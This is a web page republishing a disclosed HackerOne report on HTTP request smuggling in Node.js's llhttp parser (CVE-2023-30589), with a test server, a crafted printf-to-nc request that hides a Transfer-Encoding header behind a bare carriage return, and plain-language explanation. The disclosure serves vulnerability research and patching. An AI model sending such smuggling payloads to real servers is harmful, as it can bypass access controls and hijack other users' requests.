Skip to content
Smuggling / CRLF Disclosed report Advanced CVE-2023-30589

HTTP Request Smuggling via Empty headers separated by CR

The llhttp parser in Node.js accepts a bare carriage return (CR) as a header delimiter, so a crafted request can hide a Transfer-Encoding header inside another header's value. A frontend proxy that does not treat CR as a delimiter may forward the request, allowing an attacker to smuggle a second request and potentially bypass access controls.

yadhukrishnam Follow

Originally disclosed on HackerOne

  • Triaged in 13 days
  • Fixed in 26 days
  • Disclosed after 26 days

Summary: The llhttp parser in the http module in Node v20.2.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).

Description: The CR character (without LF) is sufficient to delimit HTTP header fields in the llhttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field.

Steps To Reproduce:

Server:

JavaScript
const http = require("http");

http
  .createServer((request, response) => {
    let body = [];
    request
      .on("error", (err) => {
        response.end("Request Error: " + err);
      })
      .on("data", (chunk) => {
        body.push(chunk);
      })
      .on("end", () => {
        body = Buffer.concat(body).toString();

        // log the body to stdout to catch the smuggled request
        console.log("Response");
        console.log(request.headers);
        console.log(body);
        console.log("---");

        response.on("error", (err) => {
          // log the body to stdout to catch the smuggled request
          response.end("Response Error: " + err);
        });

        response.end(
          "Body length: " + body.length.toString() + " Body: " + body
        );
      });
  })
  .listen(5000);

Payload:

  1. Execute the below command.
Shell
printf "POST / HTTP/1.1\r\n"\
             "Host: localhost:5000\r\n"\
             "X-Abc:\rxTransfer-Encoding: chunked\r\n"\
             "\r\n"\
             "1\r\n"\
             "A\r\n"\
             "0\r\n"\
             "\r\n" | nc localhost 5000
  1. Note that the value of X-Abc header in the request is - [\r]xTransfer-Encoding: chunked[\r\n]
  2. The llhttp library parses this as a Transfer-Encoding: chunked header.
Response
{ host: 'localhost:5000', 'x-abc': '', 'transfer-encoding': 'chunked' }
A
---

Note:

  1. The next character to \r is missing in the parsed header name.
  2. This test case is missing from https://github.com/nodejs/llhttp/blob/main/test/request/invalid.md.

A frontend proxy that does not consider \r as termination of an HTTP header value, could forward this to a backend, causing an HRS.

Supporting Material/References:

This report is similar to:

Impact

HTTP Request Smuggling can lead to access control bypass.

The original report as published on HackerOne, by yadhukrishnam. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

HTTP Request Smuggling could lead to access control bypass if a frontend proxy does not treat CR as a header delimiter.

What the attacker needed

Node.js v20.2.0 with llhttp parser; A frontend proxy that does not treat CR as a delimiter

How it was found

  1. Start a Node.js HTTP server that logs request headers and body.
  2. Send a crafted request containing a bare CR inside a header value followed by a Transfer-Encoding header.
  3. Observe that the server parses the hidden Transfer-Encoding header and treats the body as chunked.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

HTTP requests are made of lines separated by a special two-character sequence: carriage return and line feed (CRLF). This report shows that Node.js's parser also treats a lone carriage return (CR) as a line break, which is not allowed by the standard. If a proxy in front of Node.js does not do the same, an attacker can craft a request that the proxy sees one way but Node.js sees differently, potentially sneaking in a second request.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More by yadhukrishnam

View all

1 more disclosed report, best first.

More from Node.js

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.